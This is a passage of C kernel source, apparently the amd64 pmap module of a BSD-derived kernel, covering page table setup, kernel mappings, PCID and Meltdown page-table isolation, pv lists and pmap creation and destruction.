pmap_alloc_level(vaddr_t, int, long *); static inline void pmap_sync_flags_pte(struct vm_page *, u_long); void pmap_tlb_shootpage(struct pmap *, vaddr_t, int); void pmap_tlb_shootrange(struct pmap *, vaddr_t, vaddr_t, int); void pmap_tlb_shoottlb(struct pmap *, int); #ifdef MULTIPROCESSOR void pmap_tlb_shootwait(void); #else #define pmap_tlb_shootwait() do { } while (0) #endif /* * p m a p i n l i n e h e l p e r f u n c t i o n s */ /* * pmap_is_curpmap: is this pmap the one currently loaded [in %cr3]? * of course the kernel is always loaded */ static inline int pmap_is_curpmap(struct pmap *pmap) { return((pmap == pmap_kernel()) || (pmap->pm_pdirpa == (rcr3() & CR3_PADDR))); } /* * pmap_is_active: is this pmap loaded into the specified processor's %cr3? */ #ifdef MULTIPROCESSOR static inline int pmap_is_active(struct pmap *pmap, struct cpu_info *ci) { return pmap == pmap_kernel() || pmap == ci->ci_proc_pmap; } #endif static inline u_int pmap_pte2flags(u_long pte) { return (((pte & PG_U) ? PG_PMAP_REF : 0) | ((pte & PG_M) ? PG_PMAP_MOD : 0)); } static inline void pmap_sync_flags_pte(struct vm_page *pg, u_long pte) { if (pte & (PG_U|PG_M)) { atomic_setbits_int(&pg->pg_flags, pmap_pte2flags(pte)); } } /* * pmap_map_ptes: map a pmap's PTEs into KVM * * This should not be done for EPT pmaps */ paddr_t pmap_map_ptes(struct pmap *pmap) { paddr_t cr3; KASSERT(pmap->pm_type != PMAP_TYPE_EPT); /* the kernel's pmap is always accessible */ if (pmap == pmap_kernel()) return 0; /* * Lock the target map before switching to its page tables to * guarantee other CPUs have finished changing the tables before * we potentially start caching table and TLB entries. */ mtx_enter(&pmap->pm_mtx); cr3 = rcr3(); KASSERT((cr3 & CR3_PCID) == PCID_KERN || (cr3 & CR3_PCID) == PCID_PROC); if (pmap->pm_pdirpa == (cr3 & CR3_PADDR)) cr3 = 0; else { cr3 |= cr3_reuse_pcid; lcr3(pmap->pm_pdirpa | cr3_pcid_temp); } return cr3; } void pmap_unmap_ptes(struct pmap *pmap, paddr_t save_cr3) { if (pmap != pmap_kernel()) mtx_leave(&pmap->pm_mtx); if (save_cr3 != 0) lcr3(save_cr3); } int pmap_find_pte_direct(struct pmap *pm, vaddr_t va, pt_entry_t **pd, int *offs) { u_long mask, shift; pd_entry_t pde; paddr_t pdpa; int lev; pdpa = pm->pm_pdirpa; shift = L4_SHIFT; mask = L4_MASK; for (lev = PTP_LEVELS; lev > 0; lev--) { *pd = (pd_entry_t *)PMAP_DIRECT_MAP(pdpa); *offs = (VA_SIGN_POS(va) & mask) >> shift; pde = (*pd)[*offs]; /* Large pages are different, break early if we run into one. */ if ((pde & (PG_PS|PG_V)) != PG_V) return (lev - 1); pdpa = ((*pd)[*offs] & pg_frame); /* 4096/8 == 512 == 2^9 entries per level */ shift -= 9; mask >>= 9; } return (0); } /* * p m a p k e n t e r f u n c t i o n s * * functions to quickly enter/remove pages from the kernel address * space. pmap_kremove is exported to MI kernel. we make use of * the recursive PTE mappings. */ /* * pmap_kenter_pa: enter a kernel mapping without R/M (pv_entry) tracking * * => no need to lock anything, assume va is already allocated * => should be faster than normal pmap enter function */ void pmap_kenter_pa(vaddr_t va, paddr_t pa, vm_prot_t prot) { pt_entry_t *pte, opte, npte; pte = kvtopte(va); npte = (pa & PMAP_PA_MASK) | ((prot & PROT_WRITE) ? PG_RW : PG_RO) | ((pa & PMAP_NOCACHE) ? PG_N : 0) | ((pa & PMAP_WC) ? pmap_pg_wc : 0) | PG_V | ((pa & PMAP_NOCRYPT) ? 0 : pg_crypt); /* special 1:1 mappings in the first 2MB must not be global */ if (va >= (vaddr_t)NBPD_L2) npte |= pg_g_kern; if (!(prot & PROT_EXEC)) npte |= pg_nx; opte = pmap_pte_set(pte, npte); #ifdef LARGEPAGES /* XXX For now... */ if (opte & PG_PS) panic("%s: PG_PS", __func__); #endif if (pmap_valid_entry(opte)) { if ((pa & PMAP_NOCACHE && (opte & PG_N) == 0) || (pa & PMAP_NOCRYPT)) wbinvd_on_all_cpus(); /* This shouldn't happen */ pmap_tlb_shootpage(pmap_kernel(), va, 1); pmap_tlb_shootwait(); } } /* * pmap_kremove: remove a kernel mapping(s) without R/M (pv_entry) tracking * * => no need to lock anything * => caller must dispose of any vm_page mapped in the va range * => note: not an inline function * => we assume the va is page aligned and the len is a multiple of PAGE_SIZE * => we assume kernel only unmaps valid addresses and thus don't bother * checking the valid bit before doing TLB flushing */ void pmap_kremove(vaddr_t sva, vsize_t len) { pt_entry_t *pte, opte; vaddr_t va, eva; eva = sva + len; for (va = sva; va != eva; va += PAGE_SIZE) { pte = kvtopte(va); opte = pmap_pte_set(pte, 0); #ifdef LARGEPAGES KASSERT((opte & PG_PS) == 0); #endif KASSERT((opte & PG_PVLIST) == 0); } pmap_tlb_shootrange(pmap_kernel(), sva, eva, 1); pmap_tlb_shootwait(); } /* * pmap_set_pml4_early * * Utility function to map 2GB of 2MB pages to 'pa'. The VA that is assigned * is the pml4 entry for 'early mappings' (see pmap.h). This function is used * by display drivers that need to map their framebuffers early, before the * pmap is fully initialized (eg, to show panic messages). * * Users of this function must call pmap_clear_pml4_early to remove the * mapping when finished. * * Parameters: * pa: phys addr to map * * Return value: * VA mapping to 'pa'. This mapping is 2GB in size and starts at the base * of the 2MB region containing 'va'. */ vaddr_t pmap_set_pml4_early(paddr_t pa) { extern paddr_t early_pte_pages; pt_entry_t *pml4e, *pte; int i, j, off; paddr_t curpa; vaddr_t va; pml4e = (pt_entry_t *)(proc0.p_addr->u_pcb.pcb_cr3 + KERNBASE); pml4e[PDIR_SLOT_EARLY] = (pd_entry_t)early_pte_pages | PG_V | PG_RW | pg_crypt; off = pa & PAGE_MASK_L2; curpa = pa & L2_FRAME; pte = (pt_entry_t *)PMAP_DIRECT_MAP(early_pte_pages); memset(pte, 0, 3 * NBPG); pte[0] = (early_pte_pages + NBPG) | PG_V | PG_RW | pg_crypt; pte[1] = (early_pte_pages + 2 * NBPG) | PG_V | PG_RW | pg_crypt; pte = (pt_entry_t *)PMAP_DIRECT_MAP(early_pte_pages + NBPG); for (i = 0; i < 2; i++) { /* 2 early pages of mappings */ for (j = 0; j < 512; j++) { /* j[0..511] : 2MB mappings per page */ pte[(i * 512) + j] = curpa | PG_V | PG_RW | PG_PS | pg_crypt; curpa += (2 * 1024 * 1024); } } va = (vaddr_t)((PDIR_SLOT_EARLY * 512ULL) << L3_SHIFT) + off; return VA_SIGN_NEG(va); } /* * pmap_clear_pml4_early * * Clears the mapping previously established with pmap_set_pml4_early. */ void pmap_clear_pml4_early(void) { extern paddr_t early_pte_pages; pt_entry_t *pml4e, *pte; pte = (pt_entry_t *)PMAP_DIRECT_MAP(early_pte_pages); memset(pte, 0, 3 * NBPG); pml4e = (pd_entry_t *)pmap_kernel()->pm_pdir; pml4e[PDIR_SLOT_EARLY] = 0; tlbflush(); } /* * p m a p i n i t f u n c t i o n s * * pmap_bootstrap and pmap_init are called during system startup * to init the pmap module. pmap_bootstrap() does a low level * init just to get things rolling. pmap_init() finishes the job. */ /* * pmap_bootstrap: get the system in a state where it can run with VM * properly enabled (called before main()). the VM system is * fully init'd later... */ paddr_t pmap_bootstrap(paddr_t first_avail, paddr_t max_pa) { vaddr_t kva_start = VM_MIN_KERNEL_ADDRESS; struct pmap *kpm; int curslot, i, j, p; long ndmpdp; paddr_t dmpd, dmpdp, start_cur, cur_pa; vaddr_t kva, kva_end; pt_entry_t *pml3, *pml2; KASSERT(((0x1000ULL | pg_crypt) & pg_frame) == 0x1000ULL); /* * define the boundaries of the managed kernel virtual address * space. */ virtual_avail = kva_start; /* first free KVA */ /* * If PKU is available, initialize PROT_EXEC entry correctly, * and enable the feature before it gets used * XXX Some Hypervisors forget to save/restore PKU */ if (cpuid_level >= 0x7) { uint32_t ecx, dummy; CPUID_LEAF(0x7, 0, dummy, dummy, ecx, dummy); if (ecx & SEFF0ECX_PKU) { lcr4(rcr4() | CR4_PKE); pg_xo = PG_XO; } } /* * set up protection_codes: we need to be able to convert from * a MI protection code (some combo of VM_PROT...) to something * we can jam into a i386 PTE. */ protection_codes[PROT_NONE] = pg_nx; /* --- */ protection_codes[PROT_EXEC] = pg_xo; ; /* --x */ protection_codes[PROT_READ] = PG_RO | pg_nx; /* -r- */ protection_codes[PROT_READ | PROT_EXEC] = PG_RO; /* -rx */ protection_codes[PROT_WRITE] = PG_RW | pg_nx; /* w-- */ protection_codes[PROT_WRITE | PROT_EXEC] = PG_RW; /* w-x */ protection_codes[PROT_WRITE | PROT_READ] = PG_RW | pg_nx; /* wr- */ protection_codes[PROT_READ | PROT_WRITE | PROT_EXEC] = PG_RW; /* wrx */ /* * now we init the kernel's pmap * * the kernel pmap's pm_obj is not used for much. however, in * user pmaps the pm_obj contains the list of active PTPs. * the pm_obj currently does not have a pager. */ kpm = pmap_kernel(); for (i = 0; i < PTP_LEVELS - 1; i++) { uvm_obj_init(&kpm->pm_obj[i], &pmap_pager, 1); kpm->pm_ptphint[i] = NULL; } memset(&kpm->pm_list, 0, sizeof(kpm->pm_list)); /* pm_list not used */ kpm->pm_pdir = (pd_entry_t *)(proc0.p_addr->u_pcb.pcb_cr3 + KERNBASE); kpm->pm_pdirpa = proc0.p_addr->u_pcb.pcb_cr3; kpm->pm_stats.wired_count = kpm->pm_stats.resident_count = atop(kva_start - VM_MIN_KERNEL_ADDRESS); /* * the above is just a rough estimate and not critical to the proper * operation of the system. */ kpm->pm_type = PMAP_TYPE_NORMAL; curpcb->pcb_pmap = kpm; /* proc0's pcb */ /* * Configure and enable PCID use if supported. * Currently we require INVPCID support. */ if ((cpu_ecxfeature & CPUIDECX_PCID) && cpuid_level >= 0x07) { uint32_t ebx, dummy; CPUID_LEAF(0x7, 0, dummy, ebx, dummy, dummy); if (ebx & SEFF0EBX_INVPCID) { pmap_use_pcid = 1; /* * We cannot use global mappings because * invpcid function 0 does not invalidate global * mappings. The hardware can cache kernel * mappings based on PCID_KERN, i.e. there is no * need for global mappings. */ pg_g_kern = 0; lcr4( rcr4() | CR4_PCIDE ); cr3_pcid_proc = PCID_PROC; cr3_pcid_temp = PCID_TEMP; cr3_reuse_pcid = CR3_REUSE_PCID; cr3_pcid_proc_intel = PCID_PROC_INTEL; } } /* * Add PG_G attribute to already mapped kernel pages. pg_g_kern * is calculated in locore0.S and may be set to: * * 0 if this CPU does not safely support global pages in the kernel * (Intel/Meltdown) * PG_G if this CPU does safely support global pages in the kernel * (AMD) */ #if KERNBASE == VM_MIN_KERNEL_ADDRESS for (kva = VM_MIN_KERNEL_ADDRESS ; kva < virtual_avail ; #else kva_end = roundup((vaddr_t)&end, PAGE_SIZE); for (kva = KERNBASE; kva < kva_end ; #endif kva += PAGE_SIZE) { unsigned long p1i = pl1_i(kva); if (pmap_valid_entry(PTE_BASE[p1i])) PTE_BASE[p1i] |= pg_g_kern; } /* * Map the direct map. The first 4GB were mapped in locore, here * we map the rest if it exists. We actually use the direct map * here to set up the page tables, we're assuming that we're still * operating in the lower 4GB of memory. * * Map (up to) the first 512GB of physical memory first. This part * is handled differently than physical memory > 512GB since we have * already mapped part of this range in locore0. */ ndmpdp = (max_pa + NBPD_L3 - 1) >> L3_SHIFT; if (ndmpdp < NDML2_ENTRIES) ndmpdp = NDML2_ENTRIES; /* At least 4GB */ if (ndmpdp > 512) ndmpdp = 512; /* At most 512GB */ dmpdp = kpm->pm_pdir[PDIR_SLOT_DIRECT] & pg_frame; dmpd = first_avail; first_avail += ndmpdp * PAGE_SIZE; for (i = NDML2_ENTRIES; i < NPDPG * ndmpdp; i++) { paddr_t pdp; vaddr_t va; pdp = (paddr_t)&(((pd_entry_t *)dmpd)[i]); va = PMAP_DIRECT_MAP(pdp); *((pd_entry_t *)va) = ((paddr_t)i << L2_SHIFT); *((pd_entry_t *)va) |= PG_RW | PG_V | PG_PS | pg_g_kern | PG_U | PG_M | pg_nx | pg_crypt; } for (i = NDML2_ENTRIES; i < ndmpdp; i++) { paddr_t pdp; vaddr_t va; pdp = (paddr_t)&(((pd_entry_t *)dmpdp)[i]); va = PMAP_DIRECT_MAP(pdp); *((pd_entry_t *)va) = dmpd + (i << PAGE_SHIFT); *((pd_entry_t *)va) |= PG_RW | PG_V | PG_U | PG_M | pg_nx | pg_crypt; } kpm->pm_pdir[PDIR_SLOT_DIRECT] = dmpdp | PG_V | PG_KW | PG_U | PG_M | pg_nx | pg_crypt; /* Map any remaining physical memory > 512GB */ for (curslot = 1 ; curslot < NUM_L4_SLOT_DIRECT ; curslot++) { /* * Start of current range starts at PA (curslot) * 512GB */ start_cur = (paddr_t)(curslot * NBPD_L4); if (max_pa > start_cur) { /* Next 512GB, new PML4e and L3(512GB) page */ dmpd = first_avail; first_avail += PAGE_SIZE; pml3 = (pt_entry_t *)PMAP_DIRECT_MAP(dmpd); kpm->pm_pdir[PDIR_SLOT_DIRECT + curslot] = dmpd | PG_KW | PG_V | PG_U | PG_M | pg_nx | pg_crypt; /* Calculate full 1GB pages in this 512GB region */ p = ((max_pa - start_cur) >> L3_SHIFT); /* Check if a partial (<1GB) page remains */ if (max_pa & L2_MASK) p++; /* * Handle the case where this range is full and there * is still more memory after (p would be > 512). */ if (p > NPDPG) p = NPDPG; /* Allocate 'p' L2(1GB) pages and populate */ for (i = 0; i < p; i++) { dmpd = first_avail; first_avail += PAGE_SIZE; pml2 = (pt_entry_t *)PMAP_DIRECT_MAP(dmpd); pml3[i] = dmpd | PG_RW | PG_V | PG_U | PG_M | pg_nx | pg_crypt; cur_pa = start_cur + (i << L3_SHIFT); j = 0; while (cur_pa < max_pa && j < NPDPG) { pml2[j] = curslot * NBPD_L4 + (uint64_t)i * NBPD_L3 + (uint64_t)j * NBPD_L2; pml2[j] |= PG_RW | PG_V | pg_g_kern | PG_U | PG_M | pg_nx | PG_PS | pg_crypt; cur_pa += NBPD_L2; j++; } } } } tlbflush(); msgbuf_vaddr = virtual_avail; virtual_avail += round_page(MSGBUFSIZE); idt_vaddr = virtual_avail; virtual_avail += 2 * PAGE_SIZE; idt_paddr = first_avail; /* steal a page */ first_avail += 2 * PAGE_SIZE; #if defined(MULTIPROCESSOR) || \ (NACPI > 0 && !defined(SMALL_KERNEL)) /* * Grab a page below 4G for things that need it (i.e. * having an initial %cr3 for the MP trampoline). */ lo32_vaddr = virtual_avail; virtual_avail += PAGE_SIZE; lo32_paddr = first_avail; first_avail += PAGE_SIZE; #endif /* * init the global lists. */ LIST_INIT(&pmaps); /* * initialize the pmap pools. */ pool_init(&pmap_pmap_pool, sizeof(struct pmap), 0, IPL_VM, 0, "pmappl", NULL); pool_init(&pmap_pv_pool, sizeof(struct pv_entry), 0, IPL_VM, 0, "pvpl", &pool_allocator_single); pool_sethiwat(&pmap_pv_pool, 32 * 1024); /* * initialize the PDE pool. */ pool_init(&pmap_pdp_pool, PAGE_SIZE, 0, IPL_VM, 0, "pdppl", &pool_allocator_single); kpm->pm_pdir_intel = NULL; kpm->pm_pdirpa_intel = 0; /* * ensure the TLB is sync'd with reality by flushing it... */ tlbflush(); return first_avail; } void pmap_init_percpu(void) { pool_cache_init(&pmap_pv_pool); } /* * pmap_randomize * * Randomizes the location of the kernel pmap */ void pmap_randomize(void) { pd_entry_t *pml4va, *oldpml4va; paddr_t pml4pa; int i; pml4va = km_alloc(PAGE_SIZE, &kv_page, &kp_zero, &kd_nowait); if (pml4va == NULL) panic("%s: km_alloc failed", __func__); /* Copy old PML4 page to new one */ oldpml4va = pmap_kernel()->pm_pdir; memcpy(pml4va, oldpml4va, PAGE_SIZE); /* Switch to new PML4 */ pmap_extract(pmap_kernel(), (vaddr_t)pml4va, &pml4pa); lcr3(pml4pa); /* Fixup pmap_kernel and proc0's %cr3 */ pmap_kernel()->pm_pdirpa = pml4pa; pmap_kernel()->pm_pdir = pml4va; proc0.p_addr->u_pcb.pcb_cr3 = pml4pa; /* Fixup recursive PTE PML4E slot. We are only changing the PA */ pml4va[PDIR_SLOT_PTE] = pml4pa | (pml4va[PDIR_SLOT_PTE] & ~pg_frame); for (i = 0; i < NPDPG; i++) { /* PTE slot already handled earlier */ if (i == PDIR_SLOT_PTE) continue; if (pml4va[i] & pg_frame) pmap_randomize_level(&pml4va[i], 3); } /* Wipe out bootstrap PML4 */ memset(oldpml4va, 0, PAGE_SIZE); tlbflush(); } void pmap_randomize_level(pd_entry_t *pde, int level) { pd_entry_t *new_pd_va; paddr_t old_pd_pa, new_pd_pa; vaddr_t old_pd_va; struct vm_page *pg; int i; if (level == 0) return; if (level < PTP_LEVELS - 1 && (*pde & PG_PS)) return; new_pd_va = km_alloc(PAGE_SIZE, &kv_page, &kp_zero, &kd_nowait); if (new_pd_va == NULL) panic("%s: cannot allocate page for L%d page directory", __func__, level); old_pd_pa = *pde & pg_frame; old_pd_va = PMAP_DIRECT_MAP(old_pd_pa); pmap_extract(pmap_kernel(), (vaddr_t)new_pd_va, &new_pd_pa); memcpy(new_pd_va, (void *)old_pd_va, PAGE_SIZE); *pde = new_pd_pa | (*pde & ~pg_frame); tlbflush(); memset((void *)old_pd_va, 0, PAGE_SIZE); pg = PHYS_TO_VM_PAGE(old_pd_pa); if (pg != NULL) { pg->wire_count--; pmap_kernel()->pm_stats.resident_count--; if (pg->wire_count <= 1) uvm_pagefree(pg); } for (i = 0; i < NPDPG; i++) if (new_pd_va[i] & pg_frame) pmap_randomize_level(&new_pd_va[i], level - 1); } /* * Pre-allocate PTPs for low memory, so that 1:1 mappings for various * trampoline code can be entered. */ paddr_t pmap_prealloc_lowmem_ptps(paddr_t first_avail) { pd_entry_t *pdes; int level; paddr_t newp; pdes = pmap_kernel()->pm_pdir; level = PTP_LEVELS; for (;;) { newp = first_avail; first_avail += PAGE_SIZE; memset((void *)PMAP_DIRECT_MAP(newp), 0, PAGE_SIZE); pdes[pl_i(0, level)] = (newp & pg_frame) | PG_V | PG_RW | pg_crypt; level--; if (level <= 1) break; pdes = normal_pdes[level - 2]; } return first_avail; } /* * pmap_init: no further initialization required on this platform */ void pmap_init(void) { pmap_initialized = 1; } /* * p v _ e n t r y f u n c t i o n s */ /* * main pv_entry manipulation functions: * pmap_enter_pv: enter a mapping onto a pv list * pmap_remove_pv: remove a mapping from a pv list */ /* * pmap_enter_pv: enter a mapping onto a pv list * * => caller should adjust ptp's wire_count before calling * * pve: preallocated pve for us to use * ptp: PTP in pmap that maps this VA */ void pmap_enter_pv(struct vm_page *pg, struct pv_entry *pve, struct pmap *pmap, vaddr_t va, struct vm_page *ptp) { pve->pv_pmap = pmap; pve->pv_va = va; pve->pv_ptp = ptp; /* NULL for kernel pmap */ mtx_enter(&pg->mdpage.pv_mtx); pve->pv_next = pg->mdpage.pv_list; /* add to ... */ pg->mdpage.pv_list = pve; /* ... list */ mtx_leave(&pg->mdpage.pv_mtx); } /* * pmap_remove_pv: try to remove a mapping from a pv_list * * => caller should adjust ptp's wire_count and free PTP if needed * => we return the removed pve */ struct pv_entry * pmap_remove_pv(struct vm_page *pg, struct pmap *pmap, vaddr_t va) { struct pv_entry *pve, **prevptr; mtx_enter(&pg->mdpage.pv_mtx); prevptr = &pg->mdpage.pv_list; while ((pve = *prevptr) != NULL) { if (pve->pv_pmap == pmap && pve->pv_va == va) { /* match? */ *prevptr = pve->pv_next; /* remove it! */ break; } prevptr = &pve->pv_next; /* previous pointer */ } mtx_leave(&pg->mdpage.pv_mtx); return(pve); /* return removed pve */ } /* * p t p f u n c t i o n s */ struct vm_page * pmap_find_ptp(struct pmap *pmap, vaddr_t va, paddr_t pa, int level) { int lidx = level - 1; struct vm_page *pg; if (pa != (paddr_t)-1 && pmap->pm_ptphint[lidx] && pa == VM_PAGE_TO_PHYS(pmap->pm_ptphint[lidx])) return (pmap->pm_ptphint[lidx]); pg = uvm_pagelookup(&pmap->pm_obj[lidx], ptp_va2o(va, level)); return pg; } void pmap_freepage(struct pmap *pmap, struct vm_page *ptp, int level, struct pg_to_free *pagelist) { int lidx; struct uvm_object *obj; lidx = level - 1; obj = &pmap->pm_obj[lidx]; pmap->pm_stats.resident_count--; if (pmap->pm_ptphint[lidx] == ptp) pmap->pm_ptphint[lidx] = RBT_ROOT(uvm_objtree, &obj->memt); ptp->wire_count = 0; uvm_pagerealloc(ptp, NULL, 0); TAILQ_INSERT_TAIL(pagelist, ptp, pageq); } void pmap_free_ptp(struct pmap *pmap, struct vm_page *ptp, vaddr_t va, struct pg_to_free *pagelist) { unsigned long index; int level; vaddr_t invaladdr; level = 1; do { pmap_freepage(pmap, ptp, level, pagelist); index = pl_i(va, level + 1); pmap_pte_set(&normal_pdes[level - 1][index], 0); if (level == PTP_LEVELS - 1 && pmap->pm_pdir_intel != NULL) { /* Zap special meltdown PML4e */ pmap_pte_set(&pmap->pm_pdir_intel[index], 0); DPRINTF("%s: cleared meltdown PML4e @ index %lu " "(va range start 0x%llx)\n", __func__, index, (uint64_t)(index << L4_SHIFT)); } invaladdr = level == 1 ? (vaddr_t)PTE_BASE : (vaddr_t)normal_pdes[level - 2]; pmap_tlb_shootpage(pmap, invaladdr + index * PAGE_SIZE, pmap_is_curpmap(curpcb->pcb_pmap)); if (level < PTP_LEVELS - 1) { ptp = pmap_find_ptp(pmap, va, (paddr_t)-1, level + 1); ptp->wire_count--; if (ptp->wire_count > 1) break; } } while (++level < PTP_LEVELS); } /* * pmap_get_ptp: get a PTP (if there isn't one, allocate a new one) * * => pmap should NOT be pmap_kernel() */ struct vm_page * pmap_get_ptp(struct pmap *pmap, vaddr_t va) { struct vm_page *ptp, *pptp; int i; unsigned long index; pd_entry_t *pva, *pva_intel; paddr_t ppa, pa; struct uvm_object *obj; ptp = NULL; pa = (paddr_t)-1; /* * Loop through all page table levels seeing if we need to * add a new page to that level. */ for (i = PTP_LEVELS; i > 1; i--) { /* * Save values from previous round. */ pptp = ptp; ppa = pa; index = pl_i(va, i); pva = normal_pdes[i - 2]; if (pmap_valid_entry(pva[index])) { ppa = pva[index] & pg_frame; ptp = NULL; continue; } obj = &pmap->pm_obj[i-2]; ptp = uvm_pagealloc(obj, ptp_va2o(va, i - 1), NULL, UVM_PGA_USERESERVE|UVM_PGA_ZERO); if (ptp == NULL) return NULL; atomic_clearbits_int(&ptp->pg_flags, PG_BUSY); ptp->wire_count = 1; pmap->pm_ptphint[i - 2] = ptp; pa = VM_PAGE_TO_PHYS(ptp); pva[index] = (pd_entry_t) (pa | PG_u | PG_RW | PG_V | pg_crypt); /* * Meltdown Special case - if we are adding a new PML4e for * usermode addresses, just copy the PML4e to the U-K page * table. */ if (pmap->pm_pdir_intel != NULL && i == PTP_LEVELS && va < VM_MAXUSER_ADDRESS) { pva_intel = pmap->pm_pdir_intel; pva_intel[index] = pva[index]; DPRINTF("%s: copying usermode PML4e (content=0x%llx) " "from 0x%llx -> 0x%llx\n", __func__, pva[index], (uint64_t)&pva[index], (uint64_t)&pva_intel[index]); } pmap->pm_stats.resident_count++; /* * If we're not in the top level, increase the * wire count of the parent page. */ if (i < PTP_LEVELS) { if (pptp == NULL) pptp = pmap_find_ptp(pmap, va, ppa, i); #ifdef DIAGNOSTIC if (pptp == NULL) panic("%s: pde page disappeared", __func__); #endif pptp->wire_count++; } } /* * ptp is not NULL if we just allocated a new ptp. If it's * still NULL, we must look up the existing one. */ if (ptp == NULL) { ptp = pmap_find_ptp(pmap, va, ppa, 1); #ifdef DIAGNOSTIC if (ptp == NULL) { printf("va %lx ppa %lx\n", (unsigned long)va, (unsigned long)ppa); panic("%s: unmanaged user PTP", __func__); } #endif } pmap->pm_ptphint[0] = ptp; return(ptp); } /* * p m a p l i f e c y c l e f u n c t i o n s */ /* * pmap_pdp_ctor: constructor for the PDP cache. */ void pmap_pdp_ctor(pd_entry_t *pdir) { paddr_t pdirpa; int npde, i; struct pmap *kpm = pmap_kernel(); /* fetch the physical address of the page directory. */ (void) pmap_extract(kpm, (vaddr_t) pdir, &pdirpa); /* zero init area */ memset(pdir, 0, PDIR_SLOT_PTE * sizeof(pd_entry_t)); /* put in recursive PDE to map the PTEs */ pdir[PDIR_SLOT_PTE] = pdirpa | PG_V | PG_KW | pg_nx | pg_crypt; npde = nkptp[PTP_LEVELS - 1]; /* put in kernel VM PDEs */ memcpy(&pdir[PDIR_SLOT_KERN], &PDP_BASE[PDIR_SLOT_KERN], npde * sizeof(pd_entry_t)); /* zero the rest */ memset(&pdir[PDIR_SLOT_KERN + npde], 0, (NTOPLEVEL_PDES - (PDIR_SLOT_KERN + npde)) * sizeof(pd_entry_t)); for (i = 0; i < NUM_L4_SLOT_DIRECT; i++) pdir[PDIR_SLOT_DIRECT + i] = kpm->pm_pdir[PDIR_SLOT_DIRECT + i]; #if VM_MIN_KERNEL_ADDRESS != KERNBASE pdir[pl4_pi(KERNBASE)] = PDP_BASE[pl4_pi(KERNBASE)]; #endif } void pmap_pdp_ctor_intel(pd_entry_t *pdir) { struct pmap *kpm = pmap_kernel(); /* Copy PML4es from pmap_kernel's U-K view */ memcpy(pdir, kpm->pm_pdir_intel, PAGE_SIZE); } /* * pmap_create: create a pmap * * => note: old pmap interface took a "size" args which allowed for * the creation of "software only" pmaps (not in bsd). */ struct pmap * pmap_create(void) { struct pmap *pmap; int i; pmap = pool_get(&pmap_pmap_pool, PR_WAITOK); mtx_init(&pmap->pm_mtx, IPL_VM); /* init uvm_object */ for (i = 0; i < PTP_LEVELS - 1; i++) { uvm_obj_init(&pmap->pm_obj[i], &pmap_pager, 1); pmap->pm_ptphint[i] = NULL; } pmap->pm_stats.wired_count = 0; pmap->pm_stats.resident_count = 1; /* count the PDP allocd below */ pmap->pm_type = PMAP_TYPE_NORMAL; pmap->eptp = 0; /* allocate PDP */ /* * note that there is no need to splvm to protect us from * malloc since malloc allocates out of a submap and we should * have already allocated kernel PTPs to cover the range... */ pmap->pm_pdir = pool_get(&pmap_pdp_pool, PR_WAITOK); pmap_pdp_ctor(pmap->pm_pdir); pmap->pm_pdirpa = pmap->pm_pdir[PDIR_SLOT_PTE] & pg_frame; /* * Intel CPUs need a special page table to be used during usermode * execution, one that lacks all kernel mappings. */ if (cpu_meltdown) { pmap->pm_pdir_intel = pool_get(&pmap_pdp_pool, PR_WAITOK); pmap_pdp_ctor_intel(pmap->pm_pdir_intel); pmap->pm_stats.resident_count++; if (!pmap_extract(pmap_kernel(), (vaddr_t)pmap->pm_pdir_intel, &pmap->pm_pdirpa_intel)) panic("%s: unknown PA mapping for meltdown PML4", __func__); } else { pmap->pm_pdir_intel = NULL; pmap->pm_pdirpa_intel = 0; } mtx_enter(&pmaps_lock); LIST_INSERT_HEAD(&pmaps, pmap, pm_list); mtx_leave(&pmaps_lock); return (pmap); } /* * pmap_destroy: drop reference count on pmap. free pmap if * reference count goes to zero. */ void pmap_destroy(struct pmap *pmap) { struct vm_page *pg; int refs; int i; /* * drop reference count */ refs = atomic_dec_int_nv(&pmap->pm_obj[0].uo_refs); if (refs > 0) { return; } /* * remove it from global list of pmaps */ mtx_enter(&pmaps_lock); LIST_REMOVE(pmap, pm_list); mtx_leave(&pmaps_lock); /* * free any remaining PTPs */ for (i = 0; i < PTP_LEVELS - 1; i++) { while ((pg = RBT_ROOT(uvm_objtree, &pmap->pm_obj[i].memt)) != NULL) { KASSERT((pg->pg_flags & PG_BUSY) == 0); pg->wire_count = 0; pmap->pm_stats.resident_count--; uvm_pagefree(pg); } } pool_put(&pmap_pdp_pool, pmap->pm_pdir); if (pmap->pm_pdir_intel != NULL) { pmap->pm_stats.resident_count--; pool_put(&pmap_pdp_pool, pmap->pm_pdir_intel); } pool_put(&pmap_pmap_pool, pmap); } /* * Add a reference to the specified pmap. */ void pmap_reference(struct pmap *pmap) { atomic_inc_int(&pmap->pm_obj[0].uo_refs); } /* * pmap_activate: activate a process' pmap (fill in %cr3) * * => called from cpu_fork() and when switching pmaps during exec * => if p is the curproc, then load it into the MMU */ void pmap_activate(struct proc *p) { struct pcb *pcb = &p->p_addr->u_pcb; struct pmap *pmap = p->p_vmspace->vm_map.pmap; pcb->pcb_pmap = pmap; pcb->pcb_cr3 = pmap->pm_pdirpa; pcb->pcb_cr3 |= (pmap != pmap_kernel()) ? cr3_pcid_proc : (PCID_KERN | cr3_reuse_pcid); if (p != curproc) return; if ((p->p_flag & P_SYSTEM) == 0) { struct cpu_info *self = curcpu(); /* mark the pmap in use by this processor */ self->ci_proc_pmap = pmap; /* in case we return to userspace without context switching */ if (cpu_meltdown) { self->ci_kern_cr3 = pcb->pcb_cr3 | cr3_reuse_pcid; self->ci_user_cr3 = pmap->pm_pdirpa_intel | cr3_pcid_proc_intel; } } lcr3(pcb->pcb_cr3); } /* * pmap_deactivate: deactivate a process' pmap */ void pmap_deactivate(struct proc *p) { if ((p->p_flag & P_SYSTEM) == 0) { struct cpu_info *self = curcpu(); /* * mark the pmap no longer in use by this processor. */ KASSERT(self->ci_proc_pmap == p->p_vmspace->vm_map.pmap); self->ci_proc_pmap = NULL; } } /* * end of lifecycle functions */ /* * some misc. functions */ int pmap_pdes_valid(vaddr_t va, pd_entry_t *lastpde) { int i; unsigned long index; pd_entry_t pde; for (i = PTP_LEVELS; i > 1; i--) { index = pl_i(va, i); pde = normal_pdes[i - 2][index]; if (!pmap_valid_entry(pde)) return 0; } if (lastpde != NULL) *lastpde = pde; return 1; } /* * pmap_extract: extract a PA for the given VA */ int pmap_extract(struct pmap *pmap, vaddr_t va, paddr_t *pap) { pt_entry_t *ptes, pte; int level, offs; if (pmap == pmap_kernel() && va >= PMAP_DIRECT_BASE && va < PMAP_DIRECT_END) { *pap = va - PMAP_DIRECT_BASE; return 1; } if (pmap != pmap_kernel()) mtx_enter(&pmap->pm_mtx); level = pmap_find_pte_direct(pmap, va, &ptes, &offs); pte = 